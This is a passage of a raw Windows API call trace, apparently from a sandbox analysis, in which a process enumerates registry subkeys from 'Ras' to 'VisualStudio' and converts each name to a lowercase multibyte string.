5 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x1efc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0259.779] RegEnumKeyW (in: hKey=0x34, dwIndex=0x56, lpName=0x1efb930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0259.780] RegEnumKeyW (in: hKey=0x34, dwIndex=0x57, lpName=0x1efb930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x1efc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0259.780] RegEnumKeyW (in: hKey=0x34, dwIndex=0x58, lpName=0x1efb930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x1efc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0259.780] RegEnumKeyW (in: hKey=0x34, dwIndex=0x59, lpName=0x1efb930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x1efc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0259.780] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5a, lpName=0x1efb930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x1efc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0259.780] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5b, lpName=0x1efb930, cchName=0x104 | out: lpName="Router") returned 0x0 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x1efc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0259.780] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5c, lpName=0x1efb930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0259.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0259.781] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5d, lpName=0x1efb930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x1efc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0259.781] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5e, lpName=0x1efb930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x1efc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0259.781] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5f, lpName=0x1efb930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x1efc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0259.781] RegEnumKeyW (in: hKey=0x34, dwIndex=0x60, lpName=0x1efb930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0259.781] RegEnumKeyW (in: hKey=0x34, dwIndex=0x61, lpName=0x1efb930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x1efc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0259.781] RegEnumKeyW (in: hKey=0x34, dwIndex=0x62, lpName=0x1efb930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0259.782] RegEnumKeyW (in: hKey=0x34, dwIndex=0x63, lpName=0x1efb930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x1efc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0259.782] RegEnumKeyW (in: hKey=0x34, dwIndex=0x64, lpName=0x1efb930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x1efc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0259.782] RegEnumKeyW (in: hKey=0x34, dwIndex=0x65, lpName=0x1efb930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x1efc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0259.782] RegEnumKeyW (in: hKey=0x34, dwIndex=0x66, lpName=0x1efb930, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1efc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.782] RegEnumKeyW (in: hKey=0x34, dwIndex=0x67, lpName=0x1efb930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0259.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x1efc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0259.783] RegEnumKeyW (in: hKey=0x34, dwIndex=0x68, lpName=0x1efb930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0259.783] RegEnumKeyW (in: hKey=0x34, dwIndex=0x69, lpName=0x1efb930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x1efc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0259.783] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6a, lpName=0x1efb930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0259.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0260.036] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6b, lpName=0x1efb930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0260.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0260.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x1efc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0260.036] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6c, lpName=0x1efb930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0260.036] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x1efc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0260.037] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6d, lpName=0x1efb930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x1efc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0260.037] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6e, lpName=0x1efb930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x1efc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0260.037] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6f, lpName=0x1efb930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x1efc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0260.037] RegEnumKeyW (in: hKey=0x34, dwIndex=0x70, lpName=0x1efb930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x1efc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0260.037] RegEnumKeyW (in: hKey=0x34, dwIndex=0x71, lpName=0x1efb930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x1efc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0260.037] RegEnumKeyW (in: hKey=0x34, dwIndex=0x72, lpName=0x1efb930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0260.038] RegEnumKeyW (in: hKey=0x34, dwIndex=0x73, lpName=0x1efb930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x1efc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0260.038] RegEnumKeyW (in: hKey=0x34, dwIndex=0x74, lpName=0x1efb930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0260.038] RegEnumKeyW (in: hKey=0x34, dwIndex=0x75, lpName=0x1efb930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x1efc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0260.038] RegEnumKeyW (in: hKey=0x34, dwIndex=0x76, lpName=0x1efb930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x1efc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0260.038] RegEnumKeyW (in: hKey=0x34, dwIndex=0x77, lpName=0x1efb930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x1efc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0260.038] RegEnumKeyW (in: hKey=0x34, dwIndex=0x78, lpName=0x1efb930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0260.038] RegEnumKeyW (in: hKey=0x34, dwIndex=0x79, lpName=0x1efb930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x1efc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0260.039] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7a, lpName=0x1efb930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0260.039] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7b, lpName=0x1efb930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x1efc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0260.039] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7c, lpName=0x1efb930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.039] 